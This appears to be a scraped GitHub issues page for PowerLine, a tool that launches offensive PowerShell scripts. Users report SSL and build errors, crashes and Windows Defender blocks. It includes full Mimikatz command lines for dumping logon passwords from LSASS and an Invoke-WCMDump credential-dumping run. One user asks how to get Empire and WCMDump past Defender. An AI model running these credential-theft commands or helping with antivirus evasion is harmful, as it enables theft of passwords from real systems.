fullmetalcache / powerline Goto Github PK

Hello,

I'm trying to run PLBuilder.exe but I'm getting SSL errors

" system.net.webexception the request was aborted could not create ssl/tls "

I get this error in Windows 10 64 bits....

Any idea on how this can be solved ?

just add quote in build.bat

When running the following command on Windows 10 x64, PowerLineTemplate crashes and "stops working":

PowerLine.exe Invoke-Mimikatz "Invoke-Mimikatz -Command \""sekurlsa::minidump lsass_dump_name.dmp\" "sekurlsa::logonPasswords\"\""

environment: Win7 6.1.7601 Service Pack 1 Build 7601

When I run PLBuilder.exe
this error occur

maybe something related to my encoding ?

Tried to run PowerLIne in a Win 10 machine and AV caught it:
PS C:\WINDOWS\system32> cd C:\PowerLine-master\PowerLine-master\PowerLine
PS C:\PowerLine-master\PowerLine-master\PowerLine> PowerLine.exe Invoke-Mimikatz "Invoke-Mimikatz -Command "\"sekurlsa::logonPasswords"""
At line:1 char:1

• PowerLine.exe Invoke-Mimikatz "Invoke-Mimikatz -Command "`"sekurlsa ...

This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent

Hi,

I tested several scripts, the results are as follows:

1 ) mimikatz - access denied. If I turn off WD - its not worked but with diffrent errors, so - its another story, but defender some catches it anyway.

2 ) empire http listener and https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1

here very strange situation: its not blocked directly (no notifications from WD and so on) but its not worked. Those - if I turn off WD - its fine, all goes well.
But then its running - no way: empire and WCMDump just "dies" without any messages:

C:\DISTR\POWERLINE\PowerLine-master\PowerLine-master\PowerLine>PowerLine.exe Invoke-WCMDump "Invoke-WCMDump"

Command Invoked: Invoke-WCMDump

C:\DISTR\POWERLINE\PowerLine-master\PowerLine-master\PowerLine>

So, something has changed in WD and its rules - maybe you have some clues how solve it?
Especially interested in the option with Empire